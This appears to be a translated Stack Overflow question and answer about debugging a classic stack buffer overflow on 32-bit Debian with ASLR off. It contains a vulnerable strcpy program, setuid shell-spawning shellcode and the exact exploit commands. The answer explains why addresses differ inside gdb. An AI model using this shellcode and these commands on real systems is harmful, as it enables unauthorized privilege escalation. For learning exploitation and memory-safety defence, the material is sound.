0

我目前正在尝试了解为什么我的一种利用程序中缓冲区溢出的方法不起作用。我尝试了两种解决方案,第一种有效,但第二种无效。而第一种方法只是在返回地址指向的地方添加了一堆 NOP。该程序不包含任何堆栈保护机制。我正在使用带有以下易受攻击代码的 x86 debian 机器(ASLR 关闭),内核 2.6.32-5-686:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void vuln(char *arg)
{
        char msg[12];
        strcpy(msg,arg);
}

int main(int argc, char** argv)
{
    if (argc != 2)
    {
        printf("Usage : prog arg\n");
        exit(1);
    }

    vuln(argv[1]);


    return 0;
}

因此,此方法有效:

  1. EGG 将包含 100x NOP 和我的 shellcode

    export EGG=`python2.6 -c 'print "\x90"*100 + "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"'`
    
  2. EGG env 变量位于:0xbffffe10 使用 gdb 中的“x/200s $esp”

  3. 利用该程序:

    ./a.out `python2.6 -c 'print "\x90"*24 + "\x50\xfe\xff\xbf"'`
    

    我在 EGG 地址中添加了 0x40 以让 EIP 指向 NOP 堆。

而这个不工作:

  1. export EGG=`python2.6 -c 'print "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"'`
    
  2. EGG env 变量位于:0xbffffe75 使用 gdb 中的“x/200s $esp”

  3. 利用该程序:

    ./a.out `python2.6 -c 'print "\x90"*24 + "\x79\xfe\xff\xbf"'`
    

    我将 0x4 添加到 EGG var 以忽略以“EGG =”开头的地址

在这里,shell 生成到 gdb 中,但我并不像我想的那样 suid,并且在 gdb 之外,程序只是段错误......在使用到 gdb 时:

r `python2.6 -c 'print "\x90"*24 + "AABC"'`

我得到了我应该得到的:

Cannot access memory at address 0x43424141
0x43424141 in ?? ()

所以我实际上是在删除正确的退货地址……我做错了什么?为什么 gdb 生成一个 shell 并且在调试器之外没有任何工作?

4

1 回答 1

0

提供的环境gdb与从 shell 启动时不同。您需要调整地址:

例如(关闭 ASLR):

$ cat test.c
#include <stdio.h>

int main()
{
    int *i;
    printf("stack var at: %p\n", i);
    printf("env var at: %p\n", (void *)getenv("PATH"));
}

给出:

$./test 
stack var at: 0xb7fc7ff4
env var at: 0xbffffebd

$ gdb test
Reading symbols from /home/user/test...(no debugging symbols found)...done.
(gdb) run
Starting program: /home/user/test 
stack var at: 0xb7fc7ff4
env var at: 0xbffffe91

例如,比较show environmentingdbprintenvin shell的结果

于 2013-08-04T08:44:58.700 回答